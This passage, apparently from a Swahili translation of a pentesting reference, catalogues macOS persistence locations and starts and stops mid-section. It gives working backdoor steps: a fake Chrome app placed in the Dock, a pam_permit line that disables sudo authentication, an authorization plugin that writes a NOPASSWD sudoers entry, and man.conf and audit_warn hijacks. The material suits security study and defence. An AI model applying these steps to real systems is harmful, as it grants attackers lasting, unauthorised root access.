app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Ili kufanya script hapo juu iweze kutumika na Matendo ya Folda, itaandika kwa kutumia:
osacompile -l JavaScript -o folder.scpt source.js
Baada ya script kuhaririwa, weka Folder Actions kwa kutekeleza script hii. Script hii itawezesha Folder Actions kwa ujumla na kuambatanisha script iliyohaririwa awali kwenye folda ya Desktop.
// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
Chukua script ya usanidi kwa:
osascript -l JavaScript /Users/username/attach.scpt
- Hii ndiyo njia ya kutekeleza uthabiti huu kupitia GUI:
Hii ndiyo script itakayotekelezwa:
{% code title="source.js" %}
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
{% endcode %}
Sakinisha kwa: osacompile -l JavaScript -o folder.scpt source.js
Hamisha kwa:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Kisha, fungua programu ya Folder Actions Setup
, chagua folda unayotaka kufuatilia na chagua katika kesi yako folder.scpt
(katika kesi yangu niliita output2.scp):
Sasa, ukifungua folda hiyo na Finder, script yako itatekelezwa.
Mipangilio hii ilihifadhiwa katika plist iliyoko katika ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
kwa muundo wa base64.
Sasa, jaribu kuandaa uthabiti huu bila ufikiaji wa GUI:
- Nakili
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
kwenda/tmp
kwa kuihifadhi:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Ondoa Matendo ya Folda uliyojiwekea tu:
Sasa tukiwa na mazingira tupu
- Nakili faili ya nakala:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
- Fungua programu ya Folder Actions Setup.app ili kutumia mazingira haya:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
{% hint style="danger" %} Na hii haikufanya kazi kwangu, lakini hizi ni maagizo kutoka kwa andiko hilo:( {% endhint %}
Vielekezo vya Dock
Andiko: https://theevilbit.github.io/beyond/beyond_0027/
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini unahitaji kuwa umeweka programu mbaya ndani ya mfumo
- Kukiuka TCC: 🔴
Mahali
~/Library/Preferences/com.apple.dock.plist
- Kichocheo: Wakati mtumiaji anapobonyeza programu ndani ya dock
Maelezo & Utekaji
Programu zote zinazoonekana kwenye Dock zimetajwa ndani ya plist: ~/Library/Preferences/com.apple.dock.plist
Inawezekana kuongeza programu tu kwa:
{% code overflow="wrap" %}
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
{% endcode %}
Kwa kutumia uhandisi wa kijamii unaweza kujifanya kuwa mfano wa Google Chrome ndani ya dock na kisha kutekeleza script yako mwenyewe:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
Wachukuzi wa Rangi
Maelezo: https://theevilbit.github.io/beyond/beyond_0017
- Inatumika kukiuka sanduku la mchanga: 🟠
- Hatua maalum sana inahitajika kutokea
- Utamaliza katika sanduku lingine la mchanga
- Kukiuka TCC: 🔴
Mahali
/Library/ColorPickers
- Inahitaji ruhusa ya msingi
- Kichocheo: Tumia wachukuzi wa rangi
~/Library/ColorPickers
- Kichocheo: Tumia wachukuzi wa rangi
Maelezo & Utekaji
Kusanya kifurushi cha wachukuzi wa rangi na nambari yako (unaweza kutumia huyu kwa mfano) na ongeza konstrukta (kama katika sehemu ya Skrini ya Kuficha) na nakili kifurushi kwa ~/Library/ColorPickers
.
Kisha, wakati wachukuzi wa rangi unapochochewa, programu yako inapaswa kufanya vivyo hivyo.
Tafadhali kumbuka kuwa binary inayopakia maktaba yako ina sanduku la mchanga lenye kizuizi sana: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
{% code overflow="wrap" %}
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
{% endcode %}
Vifaa vya Kupambana na Finder Sync
Maelezo: https://theevilbit.github.io/beyond/beyond_0026/
Maelezo: https://objective-see.org/blog/blog_0x11.html
- Inatumika kukiuka sandbox: Hapana, kwa sababu unahitaji kutekeleza programu yako mwenyewe
- Kukiuka TCC: ???
Mahali
- Programu maalum
Maelezo & Utekaji
Mfano wa programu na Kifaa cha Kupambana na Finder Sync unaweza kupatikana hapa.
Programu zinaweza kuwa na Vifaa vya Kupambana na Finder Sync
. Kifaa hiki kitawekwa ndani ya programu itakayotekelezwa. Zaidi ya hayo, ili kifaa hicho kiweze kutekeleza nambari yake lazima iwe imesainiwa na cheti halali cha msanidi programu wa Apple, lazima iwe imesandukwa (ingawa kuna maelewano yaliyorekebishwa yanaweza kuongezwa) na lazima iwe imeandikishwa na kitu kama:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Screen Saver
Maelezo: https://theevilbit.github.io/beyond/beyond_0016/
Maelezo: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- Inatumika kukiuka sanduku la mchanga: 🟠
- Lakini utamaliza katika sanduku la maombi la kawaida
- Kukiuka TCC: 🔴
Mahali
/System/Library/Screen Savers
- Inahitaji mizizi
- Kichocheo: Chagua skrini ya kupumzika
/Library/Screen Savers
- Inahitaji mizizi
- Kichocheo: Chagua skrini ya kupumzika
~/Library/Screen Savers
- Kichocheo: Chagua skrini ya kupumzika
Maelezo & Kudukua
Unda mradi mpya katika Xcode na chagua kiolesura cha kuzalisha Screen Saver mpya. Kisha, weka kanuni yako, kwa mfano kanuni ifuatayo kuzalisha magogo.
Jenga hiyo, na nakili pakiti ya .saver
kwa ~/Library/Screen Savers
. Kisha, fungua GUI ya Skrini ya Kupumzika na ikiwa tu unapobonyeza, inapaswa kuzalisha magogo mengi:
{% code overflow="wrap" %}
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
{% endcode %}
{% hint style="danger" %}
Tafadhali fahamu kwamba kwa sababu ndani ya ruhusa za binary inayoleta hii kanuni (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver
) unaweza kupata com.apple.security.app-sandbox
utakuwa ndani ya sanduku la kawaida la programu.
{% endhint %}
Msimamizi wa Saver:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Vifaa vya Spotlight
mchanganuo: https://theevilbit.github.io/beyond/beyond_0011/
- Inatumika kukiuka sanduku la mchanga: 🟠
- Lakini utamaliza katika sanduku la programu
- Kukiuka TCC: 🔴
- Sanduku la mchanga linaonekana kuwa na kikomo kikubwa
Mahali
~/Library/Spotlight/
- Kichocheo: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
/Library/Spotlight/
- Kichocheo: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
- Inahitajika kuwa na ruhusa ya msingi
/System/Library/Spotlight/
- Kichocheo: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
- Inahitajika kuwa na ruhusa ya msingi
Some.app/Contents/Library/Spotlight/
- Kichocheo: Faili mpya yenye kielezo kinachosimamiwa na kifaa cha Spotlight inaundwa.
- Programu mpya inahitajika
Maelezo na Utekaji
Spotlight ni kipengele cha utaftaji kilichojengwa ndani ya macOS, kimeundwa kutoa watumiaji na upatikanaji wa haraka na wa kina wa data kwenye kompyuta zao.
Ili kurahisisha uwezo huu wa utaftaji wa haraka, Spotlight inaendeleza hifadhidata ya kipekee na kuunda indeksi kwa kuchambua faili nyingi, kuruhusu utaftaji wa haraka kupitia majina ya faili na maudhui yao.
Mfumo wa msingi wa Spotlight unajumuisha mchakato wa kati unaoitwa 'mds', ambao unamaanisha 'metadata server'. Mchakato huu unaratibu huduma nzima ya Spotlight. Kando na hilo, kuna 'mdworker' daemons kadhaa ambao hutekeleza majukumu mbalimbali ya matengenezo, kama vile kuunda indeksi za aina tofauti za faili (ps -ef | grep mdworker
). Majukumu haya yanawezekana kupitia vifaa vya kuingiza vya Spotlight, au "mabandiko ya .mdimporter", ambayo huwezesha Spotlight kuelewa na kuunda indeksi ya maudhui katika aina mbalimbali za faili.
Vifaa au mabandiko ya .mdimporter yako katika maeneo yaliyotajwa hapo awali na ikiwa mabandiko mapya yanaonekana yanapakiwa ndani ya dakika (hakuna haja ya kuanzisha upya huduma yoyote). Mabandiko haya lazima yaeleze ni aina gani ya faili na viendelezi wanavyoweza kusimamia, kwa njia hii, Spotlight itavitumia wakati faili mpya yenye kielezo kilichotajwa inapoundwa.
Inawezekana kupata mdimporters
zote zilizopakiwa kwa kukimbia:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
Na kwa mfano /Library/Spotlight/iBooksAuthor.mdimporter hutumiwa kuchambua aina hizi za faili (nyongeza .iba
na .book
miongoni mwa zingine):
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
{% hint style="danger" %}
Ikiwa utachunguza Plist ya mdimporter
nyingine, huenda usipate kuingia UTTypeConformsTo
. Hii ni kwa sababu ni Uniform Type Identifiers (UTI) iliyojengwa ndani na haitaji kutaja nyongeza.
Zaidi ya hayo, programu-jalizi za mfumo wa msingi daima zinapewa kipaumbele, hivyo mshambuliaji anaweza kupata ufikivu kwenye faili ambazo kwa kawaida hazijaindeksiwa na mdimporters
za Apple.
{% endhint %}
Ili kuunda programu-jalizi yako mwenyewe unaweza kuanza na mradi huu: https://github.com/megrimm/pd-spotlight-importer kisha badilisha jina, CFBundleDocumentTypes
na ongeza UTImportedTypeDeclarations
ili iweze kusaidia nyongeza unayotaka kusaidia na uirejeshe kwenye schema.xml
.
Kisha badilisha msimbo wa kazi GetMetadataForFile
ili kutekeleza mzigo wako wakati faili yenye nyongeza iliyosindika inapotengenezwa.
Hatimaye jenga na nakili programu-jalizi yako mpya ya .mdimporter
kwenye moja ya maeneo yaliyotajwa hapo awali na unaweza kuangalia wakati wowote inapopakiwa kwa kufuatilia magogo au kwa kuangalia mdimport -L.
Pane ya Mapendeleo
{% hint style="danger" %} Inaonekana kama hii haifanyi kazi tena. {% endhint %}
Maelezo: https://theevilbit.github.io/beyond/beyond_0009/
Mahali
/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes
Maelezo
Inaonekana kama hii haifanyi kazi tena.
Kizuizi cha Mchanga cha Mzizi
{% hint style="success" %} Hapa unaweza kupata maeneo ya kuanzia yanayofaa kwa kuzidi kizuizi cha sanduku ambacho kinakuruhusu tu kutekeleza kitu kwa kuandika kwenye faili ukiwa mzizi na/au kuhitaji hali nyingine za ajabu. {% endhint %}
Kipindi
Maelezo: https://theevilbit.github.io/beyond/beyond_0019/
Mahali
/etc/periodic/daily
,/etc/periodic/weekly
,/etc/periodic/monthly
,/usr/local/etc/periodic
- Inahitaji kuwa mzizi
- Kichocheo: Wakati unapofika
/etc/daily.local
,/etc/weekly.local
au/etc/monthly.local
- Inahitaji kuwa mzizi
- Kichocheo: Wakati unapofika
Maelezo & Utekaji
Skripti za kipindi (/etc/periodic
) zinatekelezwa kwa sababu ya daemons za kuanzisha zilizowekwa katika /System/Library/LaunchDaemons/com.apple.periodic*
. Tafadhali kumbuka kuwa skripti zilizohifadhiwa katika /etc/periodic/
zinatekelezwa kama mmiliki wa faili, hivyo haitafanya kazi kwa kuzidi kwa haki za uwezekano.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
Kuna hati zingine za kipindi ambazo zitatekelezwa zilizoonyeshwa katika /etc/defaults/periodic.conf
:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
Ikiwa utafanikiwa kuandika faili yoyote kati ya /etc/daily.local
, /etc/weekly.local
au /etc/monthly.local
itakuwa kutekelezwa mapema au baadaye.
{% hint style="warning" %} Tafadhali kumbuka kwamba script ya kipindi itatekelezwa kama mmiliki wa script. Kwa hivyo ikiwa mtumiaji wa kawaida anamiliki script, itatekelezwa kama mtumiaji huyo (hii inaweza kuzuia mashambulizi ya uongezaji wa mamlaka). {% endhint %}
PAM
Maelezo: Linux Hacktricks PAM
Maelezo: https://theevilbit.github.io/beyond/beyond_0005/
- Inatumika kwa kudukua sanduku la mchanga: 🟠
- Lakini unahitaji kuwa na ruhusa ya mizizi (root)
- Kizuizi cha TCC: 🔴
Mahali
- Mizizi (root) inahitajika daima
Maelezo na Udukuzi
Kwa kuwa PAM inazingatia zaidi udumu na zisizo za virusi ndani ya macOS, blogi hii haitatoa maelezo ya kina, soma maelezo kuelewa mbinu hii vizuri.
Angalia moduli za PAM kwa:
ls -l /etc/pam.d
Kitega cha Kudumu/Udakaishaji wa Mamlaka kwa kutumia PAM ni rahisi kama kubadilisha moduli /etc/pam.d/sudo kwa kuongeza kwenye mwanzo mstari:
auth sufficient pam_permit.so
Hivyo itaonekana kama hivi:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
Na kwa hivyo jaribio lolote la kutumia sudo
litafanya kazi.
{% hint style="danger" %} Tafadhali elewa kuwa saraka hii inalindwa na TCC hivyo ni uwezekano mkubwa kwamba mtumiaji atapata ombi la kupata ruhusa. {% endhint %}
Vifaa vya Uthibitisho
Maelezo: https://theevilbit.github.io/beyond/beyond_0028/
Maelezo: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Inatumika kukiuka sanduku la mchanga: 🟠
- Lakini unahitaji kuwa na ruhusa ya msingi na kufanya mipangilio ya ziada
- Kukiuka TCC: ???
Mahali
/Library/Security/SecurityAgentPlugins/
- Inahitaji ruhusa ya msingi
- Pia ni muhimu kusanidi hifadhidata ya uthibitisho kutumia programu-jalizi
Maelezo & Utekaji
Unaweza kuunda programu-jalizi ya uthibitisho ambayo itatekelezwa wakati mtumiaji anapoingia ili kudumisha uthabiti. Kwa maelezo zaidi kuhusu jinsi ya kuunda moja ya programu-jalizi hizi angalia maelezo ya awali (na uwe mwangalifu, moja isiyoundwa vizuri inaweza kukufunga nje na utahitaji kusafisha Mac yako kutoka kwa hali ya kupona).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Hamisha kifurushi hadi eneo litakalopakiwa:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Hatimaye ongeza kanuni ya kupakia Plugin hii:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
evaluate-mechanisms
itawaambia mfumo wa idhini kwamba itahitaji kuita kifaa cha nje kwa idhini. Zaidi ya hayo, privileged
itahakikisha kuwa inatekelezwa na root.
Tumia amri ifuatayo:
security authorize com.asdf.asdf
Na kisha kikundi cha wafanyakazi kinapaswa kuwa na upatikanaji wa sudo (soma /etc/sudoers
kuthibitisha).
Man.conf
Andika: https://theevilbit.github.io/beyond/beyond_0030/
- Inatumika kwa kuzidi sandbox: 🟠
- Lakini unahitaji kuwa na ruhusa ya mizizi na mtumiaji lazima atumie man
- Kuzidi TCC: 🔴
Mahali
/private/etc/man.conf
- Inahitaji mizizi
/private/etc/man.conf
: Wakati wowote man inapotumiwa
Maelezo & Utekaji
Faili ya usanidi /private/etc/man.conf
inaonyesha binary/script ya kutumia wakati wa kufungua faili za nyaraka za man. Kwa hivyo njia ya kutekelezeka inaweza kubadilishwa ili wakati wowote mtumiaji anatumia man kusoma nyaraka fulani, mlango wa nyuma unatekelezwa.
Kwa mfano weka katika /private/etc/man.conf
:
MANPAGER /tmp/view
Na kisha unda /tmp/view
kama:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Maelezo: https://theevilbit.github.io/beyond/beyond_0023/
- Inatumika kukiuka sanduku la mchanga: 🟠
- Lakini unahitaji kuwa na ruhusa ya msingi na apache inahitaji kuwa inaendeshwa
- Kukiuka TCC: 🔴
- Httpd haina ruhusa
Mahali
/etc/apache2/httpd.conf
- Inahitaji ruhusa ya msingi
- Kichocheo: Wakati Apache2 inaanza
Maelezo & Kudukua
Unaweza kuonyesha katika /etc/apache2/httpd.conf
ili kupakia moduli kwa kuongeza mstari kama huu:
{% code overflow="wrap" %}
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
{% endcode %}
Hivi ndivyo moduled zako zilivyopakiwa na Apache. Kitu pekee ni kwamba unahitaji kuisaini na cheti halali cha Apple, au unahitaji kuongeza cheti kipya cha kuaminika kwenye mfumo na kuisaini nacho.
Kisha, ikihitajika, ili kuhakikisha kuwa server itaanza unaweza kutekeleza:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Mfano wa nambari kwa Dylb:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
Kitengo cha ukaguzi wa BSM
Maelezo: https://theevilbit.github.io/beyond/beyond_0031/
- Inatumika kukiuka sanduku la mchanga: 🟠
- Lakini unahitaji kuwa na ruhusa ya msingi, auditd iwe inaendeshwa na kusababisha onyo
- Kukiuka TCC: 🔴
Mahali
/etc/security/audit_warn
- Inahitaji ruhusa ya msingi
- Kichocheo: Wakati auditd inagundua onyo
Maelezo & Udukuzi
Kila wakati auditd inagundua onyo, hati /etc/security/audit_warn
ina kutekelezwa. Hivyo unaweza kuongeza mzigo wako kwenye hiyo.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Unaweza kulazimisha onyo na sudo audit -n
.
Vipengele vya Kuanza
{% hint style="danger" %} Hii imepitwa na wakati, kwa hivyo hakuna kitu kinapaswa kupatikana katika saraka hizo. {% endhint %}
StartupItem ni saraka ambayo inapaswa kuwekwa ndani ya /Library/StartupItems/
au /System/Library/StartupItems/
. Mara tu saraka hii inapoanzishwa, lazima ijumuishe faili mbili maalum:
- rc script: Script ya shell inayotekelezwa wakati wa kuanza.
- Faili ya plist, iitwayo
StartupParameters.plist
, ambayo ina mipangilio mbalimbali ya usanidi.
Hakikisha kuwa script ya rc na faili ya StartupParameters.plist
zimewekwa kwa usahihi ndani ya saraka ya StartupItem ili mchakato wa kuanza uweze kuzitambua na kuzitumia.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
{% endtab %}
{% tab title="jina-la-huduma-kubwa" %}
#!/bin/sh
. /etc/rc.common
StartService(){
touch /tmp/superservicestarted
}
StopService(){
rm /tmp/superservicestarted
}
RestartService(){
echo "Restarting"
}
RunService "$1"
emond
{% hint style="danger" %} Sijaweza kupata sehemu hii kwenye macOS yangu, kwa maelezo zaidi angalia andiko {% endhint %}
Andiko: https://theevilbit.github.io/beyond/beyond_0023/
Kuletwa na Apple, emond ni mfumo wa kuingiza taarifa ambao unaonekana kutokuwa umekamilika au labda umeachwa, lakini bado unapatikana. Ingawa sio muhimu sana kwa msimamizi wa Mac, huduma hii isiyoeleweka inaweza kutumika kama njia ya kudumu kwa wahalifu wa mtandao, labda bila kugunduliwa na wengi wa wasimamizi wa macOS.
Kwa wale wanaofahamu uwepo wake, kutambua matumizi mabaya ya emond ni rahisi. LaunchDaemon ya mfumo kwa huduma hii inatafuta hati za kutekelezwa katika saraka moja. Ili kuangalia hili, unaweza kutumia amri ifuatayo:
ls -l /private/var/db/emondClients
XQuartz
Maelezo: https://theevilbit.github.io/beyond/beyond_0018/
Mahali
/opt/X11/etc/X11/xinit/privileged_startx.d
- Inahitaji mizizi
- Kichocheo: Pamoja na XQuartz
Maelezo & Kudukuliwa
XQuartz haipo tena imewekwa kwenye macOS, kwa hivyo ikiwa unataka maelezo zaidi angalia maelezo.
kext
{% hint style="danger" %} Ni ngumu sana kufunga kext hata kama ni mizizi, kwa hivyo sitachukulia hii kama njia ya kutoroka kutoka kwenye mchanga au hata kwa uthabiti (isipokuwa una shambulio) {% endhint %}
Mahali
Ili kufunga KEXT kama kipengee cha kuanza, inahitaji kuwekwa katika moja ya maeneo yafuatayo:
/System/Library/Extensions
- Faili za KEXT zilizojengwa kwenye mfumo wa uendeshaji wa OS X.
/Library/Extensions
- Faili za KEXT zilizowekwa na programu ya tatu
Unaweza kupata orodha ya faili za kext zilizopakiwa kwa sasa kwa:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
Kwa habari zaidi kuhusu extensions za kernel angalia sehemu hii.
amstoold
Maelezo: https://theevilbit.github.io/beyond/beyond_0029/
Mahali
/usr/local/bin/amstoold
- Inahitaji ruhusa ya Root
Maelezo & Utekaji
Inaonekana kwamba plist
kutoka /System/Library/LaunchAgents/com.apple.amstoold.plist
ilikuwa inatumia binary hii huku ikifunua huduma ya XPC... swala ni kwamba binary haikuwepo, hivyo ungeweza kuweka kitu hapo na wakati huduma ya XPC inaitwa binary yako itaitwa.
Sikuweza tena kupata hii kwenye macOS yangu.
xsanctl
Maelezo: https://theevilbit.github.io/beyond/beyond_0015/
Mahali
/Library/Preferences/Xsan/.xsanrc
- Inahitaji ruhusa ya Root
- Kichocheo: Wakati huduma inapoendeshwa (kwa nadra)
Maelezo & Utekaji
Inaonekana sio kawaida sana kuendesha skripti hii na hata sikuiweza kwenye macOS yangu, hivyo kama unataka maelezo zaidi angalia maelezo hayo.
/etc/rc.common
{% hint style="danger" %} Hii haifanyi kazi kwenye toleo za kisasa za MacOS {% endhint %}
Pia niwezekano kuweka hapa maagizo ambayo yataendeshwa wakati wa kuanza. Mfano wa skripti ya kawaida ya rc.common:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
